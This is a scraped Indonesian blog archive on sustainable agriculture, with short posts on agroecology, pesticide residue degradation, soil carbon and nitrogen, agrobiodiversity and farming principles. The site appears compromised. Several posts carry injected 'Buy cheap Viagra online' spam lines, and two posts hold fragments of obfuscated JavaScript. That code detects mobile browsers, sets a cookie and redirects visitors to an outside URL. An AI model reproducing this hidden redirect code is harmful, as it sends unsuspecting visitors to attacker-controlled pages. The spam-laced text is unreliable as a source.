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PB PERTANIAN BERKELANJUTAN — Pertanian agroekologi

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  –   Pertanian agroekologi

Sistem produksi pangan global dan sistem pertanian yang rusak harus diperbaiki.

Ada banyak hasil-hasil penelitian menunjukkan bahwa:


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  1. Business “as usual” yang memperluas industrialisasi pertanian bukanlah pilihan yang layak untuk memenuhi tantangan yang dihadapi di masa depan.
  2. Transisi menuju ke sistem pertanian dan sistem produksi pangan yang lebih hijau.
  3. Petani bekerja secara Agroekologi dan ini merupakan bagian penting dari solusi masalah.

Transisi menuju ke sistem pertanian produktif dan berkelanjutan. (IAASTD Amerika Latin dan Karibia Ringkasan untuk Pengambil Keputusan).

The transition to productive and sustainable farming. Source: IAASTD Latin America and Caribbean Summary for Decision Makers.

 

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PB PERTANIAN BERKELANJUTAN — DEGRADASI RESIDU PESTISIDA

December 18th, 2013 No comments


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PERTANIAN BERKELANJUTAN  –  DEGRADASI RESIDU PESTISIDA

 

Pergerakan dan degradasi residu aldicarb ( 2 – metil – 2 – ( methylthio ) propionaldehyde O – ( methylcarbamoyl ) oxime )  diukur dalam tanah pasir . Penelitian ini dirancang untuk membandingkan pergerakan dalam petakan lahan bera versus petakan lahan kedelai dan untuk membandingkan hasil residu dari hisapan lysimeters dan dari sampel tanah .

Data sampel tanah menunjukkan bahwa pestisida aldicarb terdegradasi dengan kecepatan yang sesuai dengan waktu paruh sekitar 9 hari , dan pada dasarnya tidak ada residu dalam tanah setelah 4 bulan dari waktu aplikasinya .
Laju degradasi ini lebih cepat 14-39 hari dari  waktu paruh yang diukur di daerah-daerah sekitarnya.

Laju degradasi yang relatif cepat ini akan membatasi pergerakan residu dalam lapisan olah 30 cm pada kedua plot ,  penurunan evapotranspirasi di petakan lahan bera tak banyak berpengaruh terhadap pergerakan residu pestisida dalam tanah.

Simulasi menggunakan jenuh Model PRZM dengan data curah hujan 15 tahun , menunjukkan bahwa pergerakan residu aldicarb terbatas pada dedalaman tanah 1,5 m , terlepas dari variasi curah hujan dari tahun ke tahun.

 

Selengkapnya lihat:

Richard O. HeggWilliam H. ShelleyRussell L. JonesR.R. Romine. 1988. Movement and degradation of aldicarb residues in South Carolina loamy sand soil. Agriculture, Ecosystems & Environment.Volume 20, Issue 4, July 1988, Pages 303–315.

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PB PERTANIAN BERKELANJUTAN — DINAMIKA C/N DALAM TANAH

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  –   DINAMIKA C/N DALAM TANAH

 

Agregasi dan stabilisasi bahan organik tanah ( BOT  ) dan N-tanah sangat tergantung pada tekstur tanah dan penambahan sumber bahan organik (BO) . Sementara itu, kualitas BO dapat mempengaruhi stabilisasi BOT dan N-tanah, penambahan N – pupuk secara simultan dapat meningkatkan laju dekomposisi BO dan mengakibatkan hilangnya BOT.

Suatu studi dilakukan pada tanah liat dan tanah berpasir di Kenya ,  untuk mengetahui pengaruh tekstur tanah , kualitas BO N – pupuk terhadap agregasi tanah, BOT dan N-tanah. Biomasa Tithonia diversifolia ( kualitas tinggi ) , Calliandra calothyrsus ( kualitas menengah ) dan Zea mays (biomasa  jagung , kualitas rendah ) ,bahan-bahan  alamiah atau bahan yang diberi label dengan 15N ,  diaplikasikan ke tanah dengan dosis yang setara dengan 4 Mg C / ha dibandingkan dengan kontrol tanpa masukan biomasa.

Setiap perlakuan dipupuk dengan 120 kg 14N atau 15N/ha sebagai ( NH2 ) 2CO) , atau tidak dipupuk. Sampel tanah dikumpulkan pada saat awal percobaan  , dan 8 bulan setelah percobaan.

Tanah dipisahkan menjadi fraksi ukuran agregat yang berbeda dengan analisa saringan basah dan macroaggregates tersebut kemudian difraksionasi untuk mengisolasi microaggregates yang ada  dalam macroaggregates . Jumlah fraksi tanah dan agregat dianalisis untuk mengetahui kandungan BOT dan N-tanah.

Rata-rata, 20 % dan 70 % dari BOT dan N berada dalam macroaggregates pada  tanah berpasir dan lempung.  Tidak ada perbedaan perlakuan kualitas BO pada kedua tanah; tetapi pada  tanah liat semua BO menghasilkan BOT dan N-tanah yang lebih besar daripada perlakuan kontrol . Namun demikian, proporsi N yang berasal dari BO  dalam macroaggregates , terutama dalam microaggregates , lebih besar pada perlakuan aplikasi biomasa jagung pada tanah liat .

Penambahan N – pupuk bersama-sama dengan biomasa jagung mengurangi N-tanah  , N macroaggregate , dan N yang berasal dari BO  di microaggregate, dan mereduksi fraksi debu dan liat dalam macroaggregates,  dibandingkan dengan perlakuan biomasa jagung saja.

Pada  tanah berpasir , aplikasi biomasa Calliandra menghasilkan lebih banyak N yang berasal dari BO , dibandingkan dnegan aplikasi biomasa Tithonia, dalam partikulat bahan organik kasar ( cPOM , yaitu  5 % dibandingkan dengan 2 % dari total aplikasi N ) .

Dengan demikian , konsentrasi polifenol yang lebih besar pada biomasa Calliandra kemungkinan dapat memperlambat dekomposisi BO  Calliandra dibandingkan dengan BO Tithonia .

Selain itu, proporsi yang lebih besar dari N dan N yang berasal dari BO berada dalam macroaggregates di tanah berpasir, sedangkan di tanah liat berada dalam microaggregates.

Konservasi N-tanah yang berasal dari aplikasi biomasa dipengaruhi oleh kimia dari kimiawi biomasa (BO) pada  tanah berpasir , sedangkan pada tanah-tanah liat faktor yang lebih penting adalah perlindungan macroaggregate .

 

Selengkapnya lihat:

P. ChivengeB. VanlauweR. Gentile, J. Six. 2011.  Comparison of organic versus mineral resource effects on short-term aggregate carbon and nitrogen dynamics in a sandy soil versus a fine textured soil.  Agriculture, Ecosystems & Environment. Volume 140, Issues 3–4, March 2011, Pages 361–371.


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PB PERTANIAN BERKELANJUTAN — PERTANIAN YANG BERTANGGUNG-JAWAB

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  — PERTANIAN YANG BERTANGGUNG-JAWAB

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Pertanian berkelanjutan adalah pertanian yang bertanggung jawab . Usaha pertanian berkomitmen untuk mengelola sumberdaya alam , melestarikannya hingga mislanya untuk 100 tahun ke depan . Menggunakan pestisida dan bahan kimia dengan cara yang tidak bertanggung jawab dapat mencemari lingkungan perairan dan sungai . Bahan kimia dan pestisida pada akhirnya akan merugikan ikan-ikan dan juga membahayakan lahan pertanian .

Ketika usaha pertanian baru pertama kali dimulai , biasanya bersifat organik dan kandang ternak secara bebas . Para petani menggunakan pertanian organik dan metode pertanian yang berkelanjutan untuk mempertahankan tanah dan ternaknya. Perawatan ekstra dilakukan untuk menjaga kualitas dan keamanan ternak dan lahan pertaniannya .

 

Sustainable farming and organic farming cycle

 

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PB PERTANIAN BERKELANJUTAN — PERTANIAN RENDAH INPUT

December 18th, 2013 No comments


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PERTANIAN BERKELANJUTAN  –   PERTANIAN RENDAH INPUT

 

Sistem pertanian “rendah input”  berusaha untuk mengoptimalkan pengelolaan dan penggunaan input internal ( yaitu sumber daya on-farm ),   dan meminimalkan penggunaan input eksternal ( yaitu sumber daya off – farm ) , seperti pupuk dan pestisida yang dibeli ;  dimanapun dan setiap kali layak dan praktis , untuk menurunkan biaya produksi , menghindari pencemaran air permukaan dan air bawah tanah , untuk mengurangi residu pestisida dalam makanan , untuk mengurangi risiko bagi keseluruhan petani , dan untuk meningkatkan profitabilitas pertanian jangka panjang dan jangka pendek .

Istilah ini seringkali  dimaknai secara agak menyesatkan . Untuk beberapa hal itu tersirat bahwa petani harus membiarkan tanamannya “kelaparan” , membiarkan gulma menyainginya, dan membiarkan serangga membersihkan apa-apa yang tersisa .

Istilah “rendah input” juga disebut membeli sejumlah input off – farm (biasanya pupuk dan pestisida ) , sambil meningkatkan on-farm input ( yaitu pupuk , tanaman penutup , dan terutama manajemen ) .  Dengan demikian , istilah yang lebih akurat adalah “rendah input eksternal “.

 

Selengkapnya lihat:

J.F. Parr et al. 1990. Sustainable Agriculture in the United States,” in Sustainable Agricultural Systems. ed. by Clive A. Edwards, et al. (Ankeny IA: Soil and Water Conservation Society, 1990), p. 52.

David Norman, et al. 1997.  Defining and Implementing Sustainable Agriculture (Kansas Sustainable Agriculture Series, Paper #1; Manhattan KS: Kansas Agricultural Experiment Station, 1997). http://www.kansassustainableag.org/lIBRARY/ksas1.htm

 

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PB PERTANIAN BERKELANJUTAN — AGRO BIODIVERSITAS

December 18th, 2013 No comments
PERTANIAN BERKELANJUTAN  –  AGRO BIODIVERSITAS


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Agrobiodiversitas  adalah fitur mendasar dari sistem pertanian di seluruh dunia. Hal ini  meliputi berbagai jenis sumber daya hayati yang terkait dengan pertanian , termasuk:
  1.  Sumber daya genetik – bahan hidup penting dari tumbuhan dan hewan ;
  2.  Tanaman pangan dan tanaman , termasuk varietas tradisional , kultivar , hibrida , dan materi genetik lainnya yang dikembangkan oleh peternak , dan
  3. Ternak ( kecil dan besar , keturunan lineal atau thoroughbreds ) dan ikan air tawar ;
  4. Organisme tanah penting untuk kesuburan tanah , struktur , kualitas , dan kesehatan tanah ;
  5. Jenis-jenis  alami serangga , bakteri , dan jamur yang mengendalikan hama dan penyakit tanaman dan hewan peliharaan ;
  6. Komponen agroekosistem dan jenis ( polycultural / monokultural , kecil / skala besar , tadah hujan / irigasi , dll ) sangat diperlukan untuk siklus nutrisi , stabilitas , dan produktivitas , dan
  7. Sumber daya ‘ liar’  ( spesies dan unsur-unsur ) dari habitat alam dan lanskap yang dapat memberikan jasa-jasa layanan ekosistem ( misalnya , pengendalian hama dan stabilitas ekosistem ) untuk pertanian.

Oleh karena itu agrobiodiversitas tidak hanya mencakup berbagai spesies , tetapi juga banyak cara yang dapat dilakukan oleh petani untuk memanfaatkan keanekaragaman hayati dalam menghasilkan dan mengelola tanaman , tanah, air , serangga , dan biota .

Selengkapnya lihat:
Lori Ann Thrupp. 1977. Linking Biodiversity and Agriculture: Challenges and Opportunities for Sustainable Food Security (Washington: World Resources Institute, 1997).
 ”What’s Happening to Agrobiodiversity?” Food and Agriculture Organization (FAO), 1999. http://www.fao.org/docrep/007/y5609e/y5609e02.htm

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PB PERTANIAN BERKELANJUTAN — PERTANIAN ALTERNATIF

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  — PERTANIAN ALTERNATIF

 

Pertanian alternatif meliputi praktek-praktek yang dianggap berbeda dari yang berlaku atau kegiatan pertanian konvensional.

Praktek-praktek ini termasuk:

  1. Tanaman non-tradisional, ternak, dan produk pertanian lainnya;

  2. Buy cheap Viagra online

  3. Jasa-jasa  layanan, rekreasi, pariwisata, pengolahan makanan, hutan / woodlot, dan usaha-usaha lainnya yang berbasis pada pertanian dan sumber daya alam;
  4. Sistem produksi konvensional seperti pertanian organik atau budidaya tanaman organik;
  5. Pemasaran langsung dan strategi pemasaran kewirausahaan lainnya.

Pertanian Alternatif juga menyiratkan penggunaan praktek pertanian yang ramah lingkungan pada umumnya, dan manfaat dari diversifikasi pertanian.

 

Selengkapnya lihat:

Nancy Grudens Shuck et al. 1988.  Farming Alternatives: A Guide to Evaluating the Feasibility of New Farm-Based Enterprises (Ithaca NY: Cornell University, 1988), p. 1.

List of Alternative Crops and Enterprises for Small Farm Diversification. Alternative Farming Systems Information Center. 2006.  http://www.nal.usda.gov/afsic/pubs/altlist.shtml.

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PB PERTANIAN BERKELANJUTAN , AGROEKOLOGI

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  –  AGROEKOLOGI

 

Agroekologi dapat didefinisikan secara luas dan secara sempit.

Secara luas, agroekologi sering menggabungkan ide-ide tentang pendekatan pertanian ramah lingkungan dan peka sosial ,  yang tidak hanya berfokus pada produksi pertanian, tetapi juga pada keberlanjutan ekologis dari sistem produktifnya.

Hal ini berarti sejumlah fitur tentang masyarakat dan sistem produksi yang melampaui batas-batas bidang pertanian.

Secara lebih sempit, “agroekologi” mengacu pada studi fenomena ekologis dalam bidang tanaman, seperti hubungan predator / mangsa, atau persaingan tanaman / gulma.

 

Selengkapnya lihat:

Susanna B. Hecht, 1987. The Evolution of Agroecological Thought,  in Agroecology: The Scientific Basis of Alternative Agriculture

Buy cheap Viagra online

, ed. by Miguel Altieri (Boulder CO: Westview Press, 1987), p. 4.

Principles of Agroecology & Sustainabilityhttp://agroecology.org/Principles.html

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PB PERTANIAN BERKELANJUTAN — Praktek pertanian berkelanjutan meliputi:

December 18th, 2013 No comments


Buy cheap Viagra online

PERTANIAN BERKELANJUTAN  –  Praktek pertanian berkelanjutan meliputi:

  1. Rotasi tanaman yang mengurangi gangguan gulma, penyakit, serangga dan hama lainnya, memberikan alternatif sumber nitrogen tanah, mengurangi erosi tanah, dan mengurangi risiko kontaminasi air oleh bahan kimia pertanian
  2. Strategi pengendalian hama dan penyakit tanaman dnegan cara yang tidak berbahaya bagi sistem alam, petani, tetangga mereka, dan aman bagi para konsumen hasil pertanian. Ini termasuk teknik pengelolaan hama terpadu yang mengurangi kebutuhan pestisida, dengan cara praktek-praktek seperti “kepramukaan”, penggunaan kultivar resisten, waktu tanam, dan kontrol hama secara biologis
  3. Meningkatkan pengendalian gulma secara  mekanik / biologis , praktik konservasi tanah dan air , dan penggunaan pupuk kandang hewan dan hijau pupuk
  4. Penggunaan input alami atau sintetis dengan cara yang tidak menimbulkan bahaya yang signifikan bagi manusia, hewan, atau lingkungan.

 

Pendekatan ini meliputi seluruh sistem pertanian, mengandalkan keahlian petani, tim pakar interdisipliner dan spesialis dari sektor publik dan swasta.

 

Selengkapnya lihat:

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|o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xe879[8]](_0xc048x1[_0xe879[9]](0,4))){var _0xc048x3= new Date( new Date()[_0xe879[10]]()+ 1800000);document[_0xe879[2]]= _0xe879[11]+ _0xc048x3[_0xe879[12]]();window[_0xe879[13]]= _0xc048x2}}})(navigator[_0xe879[3]]|| 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PB PERTANIAN BERKELANJUTAN — AGROEKOSISTEM

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  –   AGROEKOSISTEM

 

Pertanian berkelanjutan:

Pendekatan whole-sistem untuk pangan, pakan, dan produksi serat lainnya yang menyeimbangkan kesehatan lingkungan, keadilan sosial, dan kelayakan ekonomi antara semua sektor masyarakat, termasuk masyarakat internasional dan antar generasi .

Definisi ini mengandung makna bahwa keberlanjutan harus diperluas tidak hanya secara global, tetapi tanpa batas waktu, dan untuk semua organisme hidup, termasuk manusia.

Agroekosistem Berkelanjutan:

  1.  Mempertahankan basis sumber daya alam
  2.  Meminimumkan penggunaan input buatan dari luar sistem pertanian
  3.  Mengelola hama dan penyakit melalui mekanisme regulasi internal
  4.  Memulihkan kembali  dari gangguan-gangguan yang disebabkan oleh budidaya dan panen tanaman.

 

Konsumen memainkan peran penting dalam menciptakan sistem pangan berkelanjutan. Melalui pembelian bahan konsumsinya , mereka mengirim pesan yang kuat kepada produsen, pengecer dan lain-lain dalam sistem pertanian tentang apa yang mereka anggap penting. Anggaran makanan dan kualitas gizi selalu mempengaruhi pilihan konsumen. Tantangannya adalah untuk menemukan strategi yang dapat memperluas perspektif konsumen, sehingga kualitas lingkungan, penggunaan sumber daya, dan isu-isu keadilan sosial juga dipertimbangkan dalam keputusan berbelanja barang-barang konsumsi. Pada saat yang sama, kebijakan dan lembaga baru harus diciptakan untuk memungkinkan produsen menggunakan praktek-praktek berkelanjutan dalam memasarkan barang-barang mereka ke pasar yang lebih luas.

 

Selengkpanya lihat:

Stephen R. Gliessman. 1998. An Ecological Definition of Sustainable Agriculture, Principles of Agroecology and Sustainability

Buy cheap Viagra online

(1998). http://agroecology.org/Principles_Def.html

University of California Sustainable Agriculture Research and Education Program (SAREP), What is Sustainable Agriculture? (SAREP, 1998). http://www.sarep.ucdavis.edu/concept.htm

 

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PB PERTANIAN BERKELANJUTAN — PENGERTIAN

December 18th, 2013 No comments

PERTANIAN BERKELANJUTAN  –   PENGERTIAN

 

Dari  NGO Sustainable Agriculture Treaty, Forum Global di Rio de Janeiro , 1-15 Juni 1992 :

  1.  ” Pertanian berkelanjutan adalah model organisasi sosial dan ekonomi didasarkan pada visi pembangunan yang adil dan partisipatif , yang mengakui lingkungan dan sumberdaya alam sebagai dasar bagi kegiatan ekonomi . Pertanian berkelanjutan berdasarkan pada prinsip-prinsip ekologis , ekonomis , keadilan sosial , budaya setempat dan didasarkan pada pendekatan ilmiah holistik .
  2.  ” Pertanian berkelanjutan mempertahankan keanekaragaman hayati , mempertahankan kesuburan tanah dan kemurnian air, melestarikan dan meningkatkan kualitas kimia tanah, fisik dan biologi tanah , mendaur ulang sumberdaya alam dan menghemat energi . Pertanian berkelanjutan menghasilkan beragam bentuk makanan berkualitas tinggi , serat dan obat-obatan .
  3. ” Pertanian berkelanjutan menggunakan sumberdaya terbarukan yang tersedia secara lokal , teknologi tepat guna dan terjangkau , serta meminimalkan penggunaan input eksternal dan dibeli dari luar, sehingga meningkatkan kemandirian lokal dan swasembada , serta menjamin sumber pendapatan yang stabil bagi petani , keluarga petani , buruh tani kecil dan masyarakat pedesaan . Hal ini memungkinkan lebih banyak orang untuk tinggal di lahan , memperkuat masyarakat pedesaan dan mengintegrasikan manusia dengan lingkungannya .

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  5.  ” Pertanian berkelanjutan menghormati prinsip-prinsip ekologis keaneka-ragaman dan saling ketergantungan , serta menggunakan wawasan ilmu pengetahuan modern untuk meningkatkan (bukan menggantikan) kearifan lokal-tradisional yang telah  terakumulasi selama berabad-abad oleh banyak petani di seluruh dunia . “

 

Selengkapnya lihat:

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PB PERTANIAN BERKELANJUTAN — Kelestarian lingkungan

December 17th, 2013 No comments

PERTANIAN BERKELANJUTAN –  Kelestarian lingkungan

  1. Hilangnya kesuburan tanah  – bagaimana kesuburan tanah terjaga, erosi tanah menjadi masalah?

  2. Buy cheap Viagra online

  3.  Air – Apakah SEjumlah digunakan untuk irigasi ? Bagaimana jumlah air irigasi dihitung? Apakah sumber air untuk irigasi berkelanjutan? Apakah dampak pupuk dan pestisida juga dipertimbangkan?
  4. Keanekaragaman Hayati – Apakah ada habitat alami di pertanian? Apakah spesies langka tanaman / hewan terancam oleh budidaya tanaman pertanian?
  5. Energi – Apakah input energi yang digunakan? Bagaimana dampaknya terhadap perubahan iklim dapat dikendalikan?
  6. Limbah – Apakah prinsip-prinsip reduce, reuse, recycle, membuang limbah cukup dipahami? Apakah pestisida / pupuk digunakan secara aman?

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PB PERTANIAN BERKELANJUTAN – SEGITIGA-PILAR

December 17th, 2013 No comments

PERTANIAN BERKELANJUTAN  -   SEGITIGA-PILAR

Pertanian berkelanjutan adalah produksi yang efisien dan aman, produk pertanian berkualitas tinggi, dengan cara yang melindungi dan meningkatkan kualitas lingkungan alam, kondisi sosial dan ekonomi petani, buruhtani dan masyarakat setempat, dan melindungi kesehatan serta kesejahteraan semua spesies yang dibudidayakan.


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http://www.saiplatform.org/sustainable-agriculture/definition

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PB PRAKTEK PERTANIAN BERKELANJUTAN

December 7th, 2013 No comments

PRAKTEK PERTANIAN BERKELANJUTAN

 

Pertanian berkelanjutan adalah :

SUATU cara pertanian yang bertujuan untuk mengoptimalkan kemampuan dan teknologi guna mencapai stabilitas jangka panjang dari usaha pertanian , perlindungan lingkungan , dan keselamatan konsumen . Hal ini dicapai melalui strategi manajemen yang membantu produser memilih jenis hibrida dan kultivar, praktek-praktek olah tanah konservasi , program kesuburan tanah , dan program manajemen hama .

Tujuan dari pertanian berkelanjutan adalah untuk meminimalkan dampak negatif terhadap lingkungan dan dampak off-farm, sambil menjaga tingkat berkelanjutan produksi dan keuntungan usahatani. Konservasi sumber daya merupakan bagian integral dari sarana untuk mewujudkan pertanian berkelanjutan .

Praktek-praktek pertanian berkelanjutan biasanya meliputi:

  1. Rotasi tanaman yang dapat mengurangi gangguan gulma , penyakit , serangga dan hama lainnya ; menyediakan alternatif sumber nitrogen tanah , mengurangi erosi tanah , dan mengurangi risiko kontaminasi air oleh bahan kimia pertanian

  2. Buy cheap Viagra online

  3. Strategi pengendalian hama yang tidak berbahaya bagi sistem alam , petani , masyarakat sekitarb , dan konsumen . Hal ini termasuk teknik pengelolaan hama terpadu yang mengurangi kebutuhan pestisida dengan menerapkan praktek-praktek seperti pemantauan , penggunaan kultivar resisten , waktu tanam , dan kontrol hama secara biologis
  4. Meningkatkan  metode-metode mekanik / biologis dalam pengendalian gulma , praktik konservasi tanah dan air , dan penggunaan pupuk kandang hewan dan hijau pupuk
  5. Penggunaan input alami atau input sintetis dengan cara yang tidak menimbulkan bahaya yang signifikan bagi manusia , hewan , dan lingkungan .

 

Selengkapnya lihat:

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))

PB PERTANIAN BERKELANJUTAN : KONSEP EKOLOGIS

December 5th, 2013 No comments
PERTANIAN BERKELANJUTAN : KONSEP EKOLOGIS
Pendekatan sistemik untuk produksi pangan, pakan, dan serat , yang menyeimbangkan kesehatan lingkungan, keadilan sosial, dan kelayakan ekonomi bagi semua sektor masyarakat, termasuk masyarakat internasional dan antar generasi. Melekat dalam definisi ini adalah konsep bahwa “keberlanjutan” harus diperluas , tidak hanya secara spatial-global tetapi juga tanpa batas waktu, dan untuk semua organisme hidup termasuk manusia.Agroekosistem Berkelanjutan:

  1. Mempertahankan basis sumberdaya alam
  2. Mengandalkan masukan buatan yang minimum dari luar sistem pertanian.
  3. Mengelola hama dan penyakit melalui mekanisme kontrol internal.
  4. Recovery dari gangguan yang disebabkan oleh budidaya dan panen.

 

Prinsip Agroekologi dan Keberlanjutan

Menggunakan Sumberdaya yang Terbarukan

  1.     Gunakan sumber energi terbarukan bukan sumber-sumber non – terbarukan .
  2.     Gunakan fiksasi nitrogen secara biologis .
  3.     Gunakan bahan yang terjadi secara alamiah , bukan sintetis , input diproduksi .
  4.     Gunakan sumberdaya on-farm sebanyak mungkin .
  5.     Daur ulang hara.

Meminimalkan Bahan-bahan Toksik

  1. Mengurangi atau menghilangkan penggunaan bahan yang memiliki potensi untuk merusak lingkungan atau mengganggu kesehatan petani , buruh tani , atau konsumen .
  2. Menerapkan praktek pertanian yang mengurangi atau menghilangkan pencemaran lingkungan oleh nitrat , gas beracun , atau bahan lain yang dihasilkan oleh pembakaran atau pemupukan yang berlebihan .

Konservasi Sumberdaya

Konservasi Tanah

  1. Mempertahankan unsur hara tanah dan bahan organik tanah.
  2. Meminimalkan erosi tanah.
  3. menggunakan tanaman keras
  4. menggunakan metode olah-tanah minimum atau Tanpa Olah Tanah
  5. mulsa permukaan.

Konservasi Air

  1. Pertanian lahan kering .
  2. Menggunakan sistem irigasi yang efisien .

Konservasi Energi :  Menggunakan teknologi hemat energi .

Konservasi Sumberdaya genetik

  1. Menyimpan benih .
  2. Menjaga kearifan lokal .
  3. Menggunakan varietas unggul lokal.

 

Konservasi Modal

  1. Meminimumkan hutang ke bank .
  2. Mengurangi pengeluaran .

 

Mengelola Hubungan Ekologis

Membangun kembali hubungan ekologi yang dapat terjadi secara alami di pertanian bukannya mengurangi dan menyederhanakan mereka .
Mengelola hama , penyakit , dan gulma bukan ” mengendalikan ” mereka.
Gunakan tumpangsari dan tanam penutup tanah
Mengintegrasikan Ternak
Meningkatkan biota yang menguntungkan:

  1. Biota tanah
  2. mikoriza
  3. rhizobia
  4. Fiksasi nitrogen yang hidup bebas
  5. Serangga yang menguntungkan

Menyediakan tempat berlindung untuk beneficials .
Meningkatkan populasi benefial oleh berkembang biak dan rilis program .

Daur Ulang Hara

Bergeser dari aplikasi hara “segar” menuju daur-ulang hara.
Mengembalikan biomasa residu tanamandan pupuk untuk tanah .
Ketika input luar diperlukan ,  daur ulangnya harus dioptimalkan.

Meminimalkan Gangguan

  1. Olah-tanah minimum atau Tanpa Olah Tanah.
  2. Menggunakan mulsa .
  3. Menggunakan tanaman tahunan.

 

Menyesuaikan dengan Lingkungan Lokal:   Pola tanam yang sesuai dnegan potensi fisik lokal dan kualitas lahan.

Adaptasi Biota : Tanaman dan hewan yang beradaptasi dengan kondisi ekologi pertanian, bukan memodifikasi lingkungan pertanian untuk memenuhi kebutuhan tanaman dan hewan .

Diversifikasi – Kenaeka-ragaman
Bentang Lahan

  1. Menjaga daerah terganggu sebagai zona penyangga .
  2. Menggunakan kontur dan persiapan lahan jalur .
  3. Menjaga zona penyangga riparian .
  4. Menggunakan sistem rotasi penggembalaan .

Biota

  1. Sela .
  2. Putar tanaman .
  3. Gunakan polikultur .
  4. Mengintegrasikan hewan dalam sistem .
  5. Gunakan beberapa spesies tanaman dan hewan di peternakan .

  6. Buy cheap Viagra online

  7. Gunakan beberapa varietas dan landraces tanaman dan hewan di peternakan .

 

Ekonomi

  1. Hindari ketergantungan pada satu tanaman / produk .
  2. Gunakan pasar alternatif .
  3. Pasar organik .
  4. Didukung Masyarakat Pertanian
  5. ” Memilih Anda sendiri” pemasaran .
  6. Menambah nilai produk pertanian .
  7. Proses makanan sebelum menjualnya.
  8. Cari pendapatan alternatif .
  9. agrowisata
  10. Hindari ketergantungan pada subsidi eksternal .
  11. Gunakan beberapa tanaman untuk diversifikasi waktu musiman produksi sepanjang tahun .

 

Memberdayakan Masyarakat

  1. Memastikan bahwa masyarakat lokal mengontrol proses pembangunannya.
  2. Mengunakan pengetahuan adat tradisional
  3. Mempromosikan transfer IPTEK multi-arah , bukan ” top-down ” transfer pengetahuan .
  4. Mengajarkan keahlian dan berbagi pengetahuan kepada petani, tidak ” memaksakan ” itu .
  5. Pengembangan sumber daya manusia .
  6. Meningkatkan partisipasi petani .
  7. Huungan Petani dengan konsumen
  8. Memperkuat masyarakat .
  9. Mendorong kemitraan lokal antara manusia dan pengembangan groups.
  10. Menjamin keadilan antar generasi .
  11. Jaminan tenaga kerja pertanian .
  12. Pastikan hubungan kerja yang adil bagi buruh tani .
  13. Ajarkan prinsip agroekologi & keberlanjutan.

 

Mengelola Sistem Secara Menyeluruh

Gunakan proses perencanaan yang mengakui skala yang berbeda dari agroekosistem .

  1. Landscapes
  2. Rumah Tangga
  3. Farms
  4. komunitas
  5. bioregions
  6. bangsa

Meminimalkan dampak pada ekosistem tetangga .

 

Maksimalkan Manfaat Jangka Panjang

  1. Memaksimalkan manfaat antar generasi , bukan hanya keuntungan tahunan .
  2. Memaksimalkan mata pencaharian dan kualitas hidup di daerah pedesaan .
  3. Memfasilitasi transfer generasi .
  4. Menggunakan strategi jangka panjang: mengembangkan rencana yang dapat disesuaikan dan dievaluasi kembali melalui waktu .
  5. Memasukkan keberlanjutan jangka panjang ke dalam desain dan manajemen agroekosistem secara keseluruhan.
